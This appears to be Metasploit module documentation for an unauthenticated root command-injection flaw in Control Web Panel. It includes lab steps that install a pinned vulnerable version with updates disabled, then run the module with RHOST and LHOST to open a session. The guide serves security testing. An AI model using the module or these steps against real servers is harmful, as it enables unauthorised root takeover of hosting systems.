## Vulnerable Application

Control Web Panel versions < 0.9.8.1147 are vulnerable to unauthenticated OS command injection. Successful
exploitation results in code execution as the root user. The results of the command are not contained
within the HTTP response and the request will block while the command is running.

## Verification Steps
Example steps in this format (is also in the PR):

1. Start with a fresh instance of CentOS 7 x64 and run the following commands, modified from the original:
   1. `yum -y install wget`
   2. `yum -y update`
   3. reboot
   4. `cd /usr/local/src`
   5. `wget https://centos-webpanel.com/cwp-el7-latest`
   6. `sed -i 's/0\.9\.8\.[0-9]\+/0.9.8.1146/g' cwp-el7-latest`
   7. `sed -i 's/^\(sh \/scripts\/update_cwp\)/# \1/g' cwp-el7-latest`
   8. `sh cwp-el7-latest`
   9. `sed -i '1i exit 0' /usr/local/cwpsrv/htdocs/resources/scripts/update_cwp`
2. Start Metasploit
3. Run: `control_web_panel_login_cmd_exec`
4. Set RHOST and LHOST
5. Run the exploit, see that a session is opened

Check the version with `grep webpanel_version /usr/local/cwpsrv/htdocs/resources/admin/include/version.php`
